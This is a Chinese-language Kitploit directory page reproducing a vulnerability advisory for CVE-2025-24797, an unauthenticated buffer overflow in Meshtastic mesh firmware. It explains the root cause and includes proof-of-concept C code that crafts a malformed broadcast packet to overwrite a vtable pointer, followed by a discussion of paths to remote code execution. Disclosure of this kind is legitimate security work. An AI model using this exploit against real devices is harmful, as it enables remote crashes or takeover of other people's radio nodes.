Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-24797 — Meshtastic buffer overflow vulnerability - CVE-2025-24797 | Kitploit
工具/GitHubGitHub/alainx277/cve-2025-24797
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationFuzzingWireless SecurityBinary Exploitation
GitHubalainx277/cve-2025-24797

CVE-2025-24797

Meshtastic buffer overflow vulnerability - CVE-2025-24797

查看仓库
21年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-24797

CVE-2025-24797 详情 - NVD

摘要

在处理包含无效 protobuf 数据的 mesh 数据包时存在一个缺陷,可能导致攻击者控制的缓冲区溢出,从而允许攻击者劫持执行流,最终可能实现远程代码执行。 此攻击无需身份验证或用户交互,只要目标设备在默认信道上重播数据包即可。

根本原因

该漏洞最初通过模糊测试发现,导致以下 ASAN 中止:

root@kitploit:~
(日志内容保持不变,不翻译)

损坏发生在数据包发送期间执行 memcpy 操作时,将加密字节复制到 radioBuffer 中。字段 p->encrypted.size 的值大于 radioBuffer.payload(240 字节)的大小。

root@kitploit:~
// src/mesh/RadioInterface.cpp

size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
    // ...
    memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);

    // ...
}

无效大小的根本原因是在解码数据包时存在一个逻辑错误。解密后的数据包数据通过 pb_decode_from_bytes 解码,目的地是接收到的数据包结构体 p。

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...
    // 尝试解密数据包(如果可以的话)
    crypto->decrypt(p->from, p->id, rawSize, bytes);
  
    // printBytes("plaintext", bytes, p->encrypted.size);
  
    // 将这些原始字节转换回我们可以理解的结构化 protobuf
    memset(&p->decoded, 0, sizeof(p->decoded));
    if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
        LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
    } else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
        LOG_ERROR("Invalid portnum (bad psk?)!");
    } else {
        decrypted = true;
        break;
    }
  // ...
}

如果解码成功,decrypted 被设为 true,并且 which_payload_variant 被正确更新为 meshtastic_MeshPacket_decoded_tag。

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...

    if (decrypted) {
        // 解析成功
        p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // 将类型改为 decoded

    // ...

然而,如果解码失败,which_payload_variant 不会被更新。由于 p->encrypted 和 p->decoded 是通过联合体实现的,它们的内存区域重叠,因此 p->encrypted 中的数据已被 pb_decode_from_bytes 解码的部分数据破坏,不再安全使用。

因为节点默认会重播接收到的数据包,受损的数据包被安排发送。在 RadioInterface::beginSending 中,代码正确断言数据包是加密格式,并假设可以安全访问 p->encrypted,导致损坏的大小被传递给 memcpy,可能溢出缓冲区。

PoC

以下示例代码展示了如何发送一条触发该漏洞的恶意消息。

root@kitploit:~
uint32_t from = 2;
uint32_t id = 2;

meshtastic_Data d = meshtastic_Data_init_default;
// 我们可以通过设置 portnum 来选择 memcpy 大小,因为它与 encrypted->size 字段重叠
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// 这是在 radioBuffer 之外写入的数据
d.dest = 0xAAAAAAAA;
// 覆盖虚函数表指针
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;

byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);

// 添加一个额外的字节导致反序列化失败
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;

channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);

meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // 广播
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));


meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);

以下是接收节点在尝试加载我们覆盖的虚函数表指针时崩溃的画面:

402298428-01fcba5c-ca4c-4ad9-824c-2747c540b585

影响

攻击者可以控制缓冲区的大小和内容,因为写入的数据基于正在被解码的加密数据包。通过修改 memcpy 的大小,攻击者可以破坏堆数据结构,导致拒绝服务。

攻击者还可以控制溢出区域的有限部分,因为 meshtastic_Packet 结构体大于目标 RadioBuffer。在 radioBuffer 之后依次有三个结构体字段:int8_t power; float savedFreq; uint32_t savedChannelNum。这些字段在操作期间不会被使用,因此可以安全覆盖。在这些字段之后,是 concurrency::NotifiedWorkerThread 的虚函数表指针。通过覆盖此指针,攻击者可以在下次线程运行时任意重定向执行流,从而可能实现远程代码执行。

我们估计,在没有 ASLR 或内存执行保护的嵌入式系统上,实现 RCE 漏洞利用相当简单,因为攻击者可以直接在数据包中包含 shellcode。如果启用了内存执行保护,攻击者可能通过调用固件中的现有方法来实现 RCE 或其他破坏性行为。若存在 ASLR,我们假设需要另一个漏洞来泄露地址。

即使节点相隔多跳,此漏洞也可以被利用。由于数据包会被重播,攻击者可以嵌套多个阶段的畸形加密数据,其中初始阶段用有效值覆盖大小字段。数据将在每一跳被解包,直到最终覆盖被触发。

下载工具